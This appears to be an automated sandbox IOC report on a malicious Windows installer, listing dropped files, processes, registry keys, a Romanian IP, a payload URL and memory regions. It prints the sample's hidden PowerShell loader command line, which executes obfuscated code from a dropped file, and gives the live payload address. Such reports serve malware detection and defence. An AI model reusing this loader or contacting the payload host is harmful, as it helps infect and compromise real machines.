IOC Report
Q20240425 MAX5073626.com.exe

loading gif

Files

File Path
Type
Category
Malicious
Q20240425 MAX5073626.com.exe
PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
initial sample
 malicious
C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\Licente\Q20240425 MAX5073626.com.exe
PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
dropped
 malicious
C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\dannelsestrinnet.Sta
ASCII text, with very long lines (65536), with no line terminators
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
data
modified
C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\Edderduns.Ama
DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 4.716187
dropped
C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\Interrelatedness\Opsparingsformelen\jezebelian.san
data
dropped
C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\Licente\Q20240425 MAX5073626.com.exe:Zone.Identifier
ASCII text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\Licente\neglectable.sin
data
dropped
C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\Piff\cirkelen.txt
ASCII text, with very long lines (318), with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\Piff\dugvaade.god
data
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojk5wowp.0uc.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_orrq3qcc.xgx.psm1
ASCII text, with no line terminators
dropped
There are 2 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Users\user\Desktop\Q20240425 MAX5073626.com.exe
"C:\Users\user\Desktop\Q20240425 MAX5073626.com.exe"
 malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -windowstyle hidden "$Annotationerne139=cat 'C:\Users\user\AppData\Local\Radioactinium\bjergmassiverne\Haardest\dannelsestrinnet.Sta';$Rhinocerotiform=$Annotationerne139.substring(32760,3);.$Rhinocerotiform($Annotationerne139)"
 malicious
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
 malicious
C:\Program Files (x86)\Windows Mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
http://pesterbdd.com/images/Pester.png
unknown
 malicious
193.239.86.203
malicious
http://193.239.86.203/XWJPh99.bin
193.239.86.203
 malicious
http://nuget.org/NuGet.exe
unknown
http://193.239.86.203/XWJPh99.binW
unknown
https://aka.ms/pscore6lB
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://contoso.com/License
unknown
https://contoso.com/Icon
unknown
http://nsis.sf.net/NSIS_Error...
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://github.com/Pester/Pester
unknown
There are 4 hidden URLs, click here to show them.

IPs

IP
Domain
Country
Malicious
193.239.86.203
unknown
Romania
malicious

Registry

Path
Value
Malicious
HKEY_CURRENT_USER\SOFTWARE\Rmc-UI3GST
exepath
 malicious
HKEY_CURRENT_USER\SOFTWARE\Rmc-UI3GST
licence
 malicious
HKEY_CURRENT_USER\SOFTWARE\Rmc-UI3GST
time
 malicious
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\peruse\Uninstall\undervisningsvejledningerne\drengestreg
skramlende
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\aktionssprogs\sortebrdres
Cryptograph95

Memdumps

Base Address
Regiontype
Protect
Malicious
6DE1000
heap
page read and write
 malicious
A319000
direct allocation
page execute and read and write
 malicious
6DEF000
heap
page read and write
 malicious
595000
heap
page read and write
7FD0000
heap
page read and write
6B0E000
stack
page read and write
7184000
heap
page read and write
6839000
remote allocation
page execute and read and write
2A87000
heap
page read and write
2DBE000
stack
page read and write
35B0000
heap
page read and write
85A0000
heap
page read and write
717E000
heap
page read and write
75FB000
stack
page read and write
59D000
heap
page read and write
45DE000
stack
page read and write
3E60000
remote allocation
page execute and read and write
6CA0000
direct allocation
page read and write
59D000
heap
page read and write
6D25000
heap
page read and write
6FB0000
direct allocation
page read and write
7500000
trusted library allocation
page read and write
4620000
trusted library allocation
page execute and read and write
263E000
stack
page read and write
7590000
trusted library allocation
page read and write
2CD8000
heap
page read and write
59D000
heap
page read and write
586000
heap
page read and write
6B8F000
stack
page read and write
2259D000
stack
page read and write
57A000
heap
page read and write
58B000
heap
page read and write
40A000
unkown
page write copy
7380000
trusted library allocation
page read and write
7570000
trusted library allocation
page read and write
5A6000
heap
page read and write
277D000
heap
page read and write
71F4000
heap
page read and write
225DD000
stack
page read and write
6F50000
direct allocation
page read and write
980000
heap
page read and write
7530000
trusted library allocation
page read and write
59D000
heap
page read and write
2C5E000
heap
page read and write
298C000
stack
page read and write
6D20000
heap
page read and write
58B000
heap
page read and write
2EA0000
heap
page read and write
57A000
heap
page read and write
595000
heap
page read and write
29B0000
heap
page read and write
70C0000
heap
page read and write
8380000
heap
page read and write
8432000
heap
page read and write
586000
heap
page read and write
745E000
stack
page read and write
2DD8000
trusted library allocation
page read and write
59D000
heap
page read and write
87C000
stack
page read and write
586000
heap
page read and write
833E000
stack
page read and write
6C80000
direct allocation
page read and write
427000
unkown
page read and write
401000
unkown
page execute read
2C14000
trusted library allocation
page read and write
6CC0000
direct allocation
page read and write
5A6000
heap
page read and write
6BE0000
direct allocation
page read and write
58B000
heap
page read and write
75A0000
trusted library allocation
page read and write
6EFC000
stack
page read and write
58B000
heap
page read and write
586000
heap
page read and write
5E39000
remote allocation
page execute and read and write
6FA0000
direct allocation
page read and write
7180000
heap
page read and write
7520000
trusted library allocation
page read and write
707E000
stack
page read and write
58F000
heap
page read and write
9B6000
heap
page read and write
85E0000
trusted library allocation
page read and write
58F000
heap
page read and write
2C29000
trusted library allocation
page read and write
58F000
heap
page read and write
2D1F000
heap
page read and write
285D000
stack
page read and write
58F000
heap
page read and write
547000
heap
page read and write
2C13000
trusted library allocation
page execute and read and write
6C00000
direct allocation
page read and write
8100000
trusted library allocation
page read and write
5AF9000
trusted library allocation
page read and write
2D30000
trusted library allocation
page read and write
9919000
direct allocation
page execute and read and write
30A0000
heap
page read and write
6C60000
direct allocation
page read and write
46DE000
stack
page read and write
AD19000
direct allocation
page execute and read and write
7271000
heap
page read and write
8130000
trusted library allocation
page read and write
4039000
remote allocation
page execute and read and write
2237D000
stack
page read and write
57A000
heap
page read and write
6F60000
direct allocation
page read and write
6F40000
heap
page readonly
400000
unkown
page readonly
6FE0000
direct allocation
page read and write
2D40000
trusted library allocation
page read and write
2B6F000
stack
page read and write
2772000
heap
page read and write
71D4000
heap
page read and write
7152000
heap
page read and write
5A6000
heap
page read and write
595000
heap
page read and write
7192000
heap
page read and write
974000
heap
page read and write
7162000
heap
page read and write
2D42000
trusted library allocation
page read and write
29CF000
stack
page read and write
58B000
heap
page read and write
2C38000
heap
page read and write
70BF000
stack
page read and write
2776000
heap
page read and write
2D79000
heap
page read and write
6C50000
direct allocation
page read and write
741E000
stack
page read and write
82AC000
stack
page read and write
2D70000
heap
page read and write
408000
unkown
page readonly
2D3A000
trusted library allocation
page execute and read and write
4630000
trusted library allocation
page read and write
451000
unkown
page readonly
7FC0000
trusted library allocation
page read and write
8120000
trusted library allocation
page read and write
576000
heap
page read and write
8BD000
stack
page read and write
57A000
heap
page read and write
5C7C000
trusted library allocation
page read and write
83FC000
heap
page read and write
595000
heap
page read and write
6C90000
direct allocation
page read and write
540000
heap
page read and write
401000
unkown
page execute read
586000
heap
page read and write
223BB000
stack
page read and write
2D45000
trusted library allocation
page execute and read and write
2DF0000
heap
page read and write
6DCD000
heap
page read and write
6C35000
heap
page execute and read and write
2261E000
stack
page read and write
42A000
unkown
page read and write
2C00000
trusted library allocation
page read and write
2265F000
stack
page read and write
75B0000
trusted library allocation
page read and write
2CA5000
heap
page read and write
6B4E000
stack
page read and write
226C0000
heap
page read and write
21B0000
heap
page read and write
2BAE000
stack
page read and write
58B000
heap
page read and write
6F3F000
stack
page read and write
6F80000
direct allocation
page read and write
98000
stack
page read and write
8F19000
direct allocation
page execute and read and write
2130000
heap
page read and write
2DC0000
heap
page readonly
84E000
stack
page read and write
5B37000
trusted library allocation
page read and write
2DF7000
heap
page read and write
6CD0000
direct allocation
page read and write
5C63000
trusted library allocation
page read and write
2A50000
heap
page read and write
74E0000
trusted library allocation
page execute and read and write
6D88000
heap
page read and write
7540000
trusted library allocation
page read and write
B719000
direct allocation
page execute and read and write
85C0000
trusted library allocation
page execute and read and write
5C76000
trusted library allocation
page read and write
2C10000
trusted library allocation
page read and write
980000
heap
page read and write
2D60000
trusted library allocation
page read and write
2CB1000
heap
page read and write
8391000
heap
page read and write
5A3000
heap
page read and write
7370000
trusted library allocation
page read and write
6FD0000
direct allocation
page read and write
2247F000
stack
page read and write
2BF0000
trusted library section
page read and write
5439000
remote allocation
page execute and read and write
837C000
stack
page read and write
71F7000
heap
page read and write
4780000
heap
page read and write
6F90000
direct allocation
page read and write
5A6000
heap
page read and write
7360000
trusted library allocation
page read and write
73D0000
trusted library allocation
page read and write
595000
heap
page read and write
9E0000
trusted library section
page read and write
7000000
direct allocation
page read and write
985000
heap
page read and write
277A000
heap
page read and write
8400000
heap
page read and write
44E000
unkown
page read and write
586000
heap
page read and write
595000
heap
page read and write
59D000
heap
page read and write
70AE000
stack
page read and write
7117000
trusted library allocation
page read and write
9B0000
heap
page read and write
970000
heap
page read and write
4787000
heap
page read and write
7FA0000
trusted library allocation
page execute and read and write
6C30000
heap
page read and write
803D000
stack
page read and write
2C20000
trusted library allocation
page read and write
749E000
stack
page read and write
80D5000
trusted library allocation
page read and write
4E0000
heap
page read and write
85B0000
trusted library allocation
page read and write
7580000
trusted library allocation
page read and write
423000
unkown
page read and write
2D4F000
unkown
page read and write
4A39000
remote allocation
page execute and read and write
6F70000
direct allocation
page read and write
2C1D000
trusted library allocation
page execute and read and write
42E000
unkown
page read and write
7510000
trusted library allocation
page read and write
4E5000
heap
page read and write
58F000
heap
page read and write
82EC000
stack
page read and write
83B7000
heap
page read and write
2C30000
heap
page read and write
5A6000
heap
page read and write
7124000
heap
page read and write
5A6000
heap
page read and write
57A000
heap
page read and write
277C000
heap
page read and write
94E000
stack
page read and write
2233E000
stack
page read and write
8580000
trusted library allocation
page execute and read and write
6FF0000
direct allocation
page read and write
40A000
unkown
page read and write
7110000
trusted library allocation
page read and write
468E000
stack
page read and write
2771000
heap
page read and write
7F87000
stack
page read and write
7020000
heap
page read and write
273F000
stack
page read and write
451000
unkown
page readonly
434000
unkown
page read and write
475E000
stack
page read and write
2A4E000
stack
page read and write
8D40000
direct allocation
page execute and read and write
807E000
stack
page read and write
71A6000
heap
page read and write
80F000
stack
page read and write
400000
unkown
page readonly
6FC0000
direct allocation
page read and write
7F90000
heap
page read and write
8B8000
stack
page read and write
224CE000
stack
page read and write
471F000
stack
page read and write
226B0000
heap
page read and write
8110000
trusted library allocation
page read and write
586000
heap
page read and write
25FF000
stack
page read and write
4C26000
trusted library allocation
page read and write
19A000
stack
page read and write
2E4F000
stack
page read and write
6D80000
heap
page read and write
59D000
heap
page read and write
8590000
trusted library allocation
page read and write
6DC2000
heap
page read and write
29FE000
unkown
page read and write
7200000
heap
page read and write
7120000
heap
page read and write
85D0000
direct allocation
page execute and read and write
5AD1000
trusted library allocation
page read and write
2C6A000
heap
page read and write
295D000
stack
page read and write
6C30000
heap
page execute and read and write
6D10000
heap
page read and write
930000
heap
page read and write
222FE000
stack
page read and write
4B0000
heap
page read and write
8090000
trusted library allocation
page execute and read and write
2250F000
stack
page read and write
7142000
heap
page read and write
7390000
trusted library allocation
page read and write
58F000
heap
page read and write
2777000
heap
page read and write
7240000
trusted library allocation
page read and write
6C40000
direct allocation
page read and write
2BEE000
stack
page read and write
218E000
stack
page read and write
6C10000
direct allocation
page read and write
83F4000
heap
page read and write
74DD000
stack
page read and write
7F520000
trusted library allocation
page execute and read and write
7230000
heap
page execute and read and write
6CB0000
direct allocation
page read and write
74F0000
trusted library allocation
page read and write
4640000
heap
page execute and read and write
7550000
trusted library allocation
page read and write
97E000
stack
page read and write
4B32000
trusted library allocation
page read and write
6BF0000
direct allocation
page read and write
408000
unkown
page readonly
4C0000
heap
page read and write
6E80000
heap
page read and write
7157000
heap
page read and write
70EE000
stack
page read and write
8080000
heap
page read and write
58B000
heap
page read and write
58F000
heap
page read and write
8260000
trusted library allocation
page read and write
7FB0000
trusted library allocation
page read and write
2A80000
heap
page read and write
2A00000
heap
page read and write
595000
heap
page read and write
6C70000
direct allocation
page read and write
57A000
heap
page read and write
461C000
stack
page read and write
9C0000
heap
page read and write
4AD1000
trusted library allocation
page read and write
7560000
trusted library allocation
page read and write
52E000
stack
page read and write
2E90000
heap
page read and write
2243E000
stack
page read and write
There are 319 hidden memdumps, click here to show them.